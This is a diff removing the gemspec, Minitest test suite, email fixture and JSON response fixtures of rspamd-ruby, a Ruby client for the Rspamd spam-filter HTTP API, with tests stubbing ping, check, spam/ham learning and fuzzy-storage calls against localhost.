- require_relative "lib/rspamd/version"
2
-
3
- Gem::Specification.new do |s|
4
- s.name = "rspamd-ruby"
5
- s.version = Rspamd::VERSION
6
- s.authors = [ "George Claghorn", "Lewis Buckley" ]
7
- s.email = "lewis@37signals.com"
8
- s.summary = "Client for Rspamd's HTTP API"
9
- s.homepage = "https://github.com/basecamp/rspamd-ruby"
10
-
11
- s.required_ruby_version = ">= 2.7.8"
12
-
13
- s.add_development_dependency "rake", "~> 13.0"
14
- s.add_development_dependency "minitest", "> 5.11"
15
- s.add_development_dependency "webmock", "~> 3.0"
16
- s.add_development_dependency "debug"
17
-
18
- s.files = `git ls-files`.split("\n")
19
- s.test_files = `git ls-files -- test/*`.split("\n")
20
- end
data/test/client_test.rb DELETED
@@ -1,161 +0,0 @@
1
- require "test_helper"
2
-
3
- class Rspamd::ClientTest < Minitest::Test
4
- def setup
5
- @client = Rspamd::Client.new(host: "localhost", port: 11333)
6
- end
7
-
8
- def test_successfully_pinging
9
- stub_request(:get, "http://localhost:11333/ping").to_return(status: 200, body: "pong\r\n")
10
- assert @client.ping
11
- end
12
-
13
- def test_unsuccessfully_pinging_due_to_a_server_error
14
- stub_request(:get, "http://localhost:11333/ping").to_return(status: 500)
15
- assert !@client.ping
16
- end
17
-
18
- def test_unsuccessfully_pinging_due_to_a_timeout
19
- stub_request(:get, "http://localhost:11333/ping").to_timeout
20
- assert !@client.ping
21
- end
22
-
23
- def test_successfully_checking_a_ham_message
24
- stub_request(:post, "http://localhost:11333/checkv2")
25
- .with(body: mail(:ham))
26
- .to_return(status: 200, body: response("ham.json"))
27
-
28
- result = @client.check(mail(:ham))
29
- assert !result.spam?
30
- assert result.ham?
31
- assert_equal 1.0, result.score
32
- assert_equal 15.0, result.required_score
33
- assert_equal "no action", result.action
34
- assert_equal %w[ foo.example.com bar.example.com baz.example.com ], result.urls
35
- assert_equal %w[ alice@example.com ], result.emails
36
- end
37
-
38
- def test_successfully_checking_a_spam_message
39
- stub_request(:post, "http://localhost:11333/checkv2")
40
- .with(body: mail(:ham))
41
- .to_return(status: 200, body: response("spam.json"))
42
-
43
- result = @client.check(mail(:ham))
44
- assert result.spam?
45
- assert !result.ham?
46
- assert_equal 17.8, result.score
47
- assert_equal 6.0, result.required_score
48
- assert_equal "add header", result.action
49
- assert_equal [], result.urls
50
- assert_equal [], result.emails
51
- end
52
-
53
- def test_unsuccessfully_checking_a_message_due_to_a_server_error
54
- stub_request(:post, "http://localhost:11333/checkv2")
55
- .with(body: mail(:ham))
56
- .to_return(status: [ 500, "Internal Server Error" ])
57
-
58
- error = assert_raises(Rspamd::InvalidResponse) { @client.check(mail(:ham)) }
59
- assert_equal "Received invalid response from Rspamd: expected 200 OK, got 500 Internal Server Error", error.message
60
- end
61
-
62
- def test_providing_headers_on_check
63
- request = stub_request(:post, "http://localhost:11333/checkv2")
64
- .with(body: mail(:ham), headers: { "Settings-Id" => "outbound" })
65
- .to_return(status: 200, body: response("spam.json"))
66
-
67
- @client.check(mail(:ham), headers: { "Settings-Id" => "outbound" })
68
- assert_requested request
69
- end
70
-
71
- def test_successfully_reporting_a_message_as_spam
72
- request = stub_request(:post, "http://localhost:11333/learnspam")
73
- .with(body: mail(:ham))
74
- .to_return(status: 200, body: '{"success": true}')
75
-
76
- assert @client.spam!(mail(:ham))
77
- assert_requested request
78
- end
79
-
80
- def test_unsuccessfully_reporting_a_message_as_spam
81
- stub_request(:post, "http://localhost:11333/learnspam")
82
- .with(body: mail(:ham))
83
- .to_return(status: 500, body: '{"error": "Unknown statistics error, found when storing data on backend"}')
84
-
85
- error = assert_raises(Rspamd::Error) { @client.spam!(mail(:ham)) }
86
- assert_equal "Unknown statistics error, found when storing data on backend", error.message
87
- end
88
-
89
- def test_successfully_reporting_a_message_as_ham
90
- request = stub_request(:post, "http://localhost:11333/learnham")
91
- .with(body: mail(:ham))
92
- .to_return(status: 200, body: '{"success": true}')
93
-
94
- assert @client.ham!(mail(:ham))
95
- assert_requested request
96
- end
97
-
98
- def test_successfully_adding_a_message_to_fuzzy_storage
99
- request = stub_request(:post, "http://localhost:11333/fuzzyadd")
100
- .with(body: mail(:ham))
101
- .to_return(status: 200, body: '{"success": true}')
102
-
103
- assert @client.add_fuzzy(mail(:ham))
104
- assert_requested request
105
- end
106
-
107
- def test_successfully_deleting_a_message_from_fuzzy_storage
108
- request = stub_request(:post, "http://localhost:11333/fuzzydel")
109
- .with(body: mail(:ham))
110
- .to_return(status: 200, body: '{"success": true}')
111
-
112
- assert @client.delete_fuzzy(mail(:ham))
113
- assert_requested request
114
- end
115
-
116
- def test_unsuccessfully_reporting_a_message_as_ham
117
- stub_request(:post, "http://localhost:11333/learnham")
118
- .with(body: mail(:ham))
119
- .to_return(status: 500, body: '{"error": "Unknown statistics error, found when storing data on backend"}')
120
-
121
- error = assert_raises(Rspamd::Error) { @client.ham!(mail(:ham)) }
122
- assert_equal "Unknown statistics error, found when storing data on backend", error.message
123
- end
124
-
125
- def test_reporting_a_previously_reported_message_as_spam
126
- request = stub_request(:post, "http://localhost:11333/learnspam")
127
- .with(body: mail(:ham))
128
- .to_return(status: 208, body: response("already_reported.json"))
129
-
130
- assert !@client.spam!(mail(:ham))
131
- assert_requested request
132
- end
133
-
134
- def test_reporting_a_message_with_too_few_tokens_as_spam
135
- request = stub_request(:post, "http://localhost:11333/learnspam")
136
- .with(body: mail(:ham))
137
- .to_return(status: [ 204, "<undef> contains less tokens than required for bayes classifier: 3 < 11" ])
138
-
139
- assert !@client.spam!(mail(:ham))
140
- assert_requested request
141
- end
142
-
143
- def test_customizing_user_agent
144
- stub_request(:get, "http://localhost:11333/ping").to_return(status: 200, body: "pong\r\n")
145
- assert Rspamd::Client.new(host: "localhost", port: "11333", user_agent: "Rspamd tests").ping
146
- assert_requested :get, "http://localhost:11333/ping", headers: { "User-Agent" => "Rspamd tests" }
147
- end
148
-
149
- private
150
- def mail(name)
151
- fixture "mail/#{name}.eml"
152
- end
153
-
154
- def response(path)
155
- fixture "responses/#{path}"
156
- end
157
-
158
- def fixture(path)
159
- File.read File.expand_path("fixtures/#{path}", __dir__)
160
- end
161
- end
@@ -1,19 +0,0 @@
1
- Date: Tue, 21 Jan 2020 21:04:42 +0000
2
- From: Alice <alice@example.com>
3
- To: Bob <bob@example.com>
4
- Message-ID: <975bad33-2e76-40c3-89aa-7fe1edcbe7ce@example.com>
5
- Subject: Hello
6
- Mime-Version: 1.0
7
- Content-Type: text/plain; charset=UTF-8
8
- Content-Transfer-Encoding: quoted-printable
9
- Delivered-To: bob@example.com
10
-
11
- Hi Bob! Check these out:
12
-
13
- foo.example.com/bar
14
- bar.example.com/baz
15
- baz.example.com/quux
16
-
17
- Best,
18
- Alice
19
- alice@example.com
@@ -1 +0,0 @@
1
- {"error": "<975bad33-2e76-40c3-89aa-7fe1edcbe7ce@example.com> already learned as spam, ignore it"}
@@ -1,12 +0,0 @@
1
- {
2
- "is_skipped": false,
3
- "score": 1.0,
4
- "required_score": 15.0,
5
- "action": "no action",
6
- "urls": [
7
- "foo.example.com",
8
- "bar.example.com",
9
- "baz.example.com"
10
- ],
11
- "emails": ["alice@example.com"]
12
- }
@@ -1,7 +0,0 @@
1
- {
2
- "is_skipped":false,
3
- "score":17.8,
4
- "required_score":6.0,
5
- "action":"add header",
6
- "message-id":"9e8250ea40f5bd34dea5f14555c8d74d1966d6cd@hey.com"
7
- }
data/test/test_helper.rb DELETED
@@ -1,4 +0,0 @@
1
- require "minitest/autorun"
2
- require "webmock/minitest"
3
- require "rspamd-ruby"
4
- require "debug"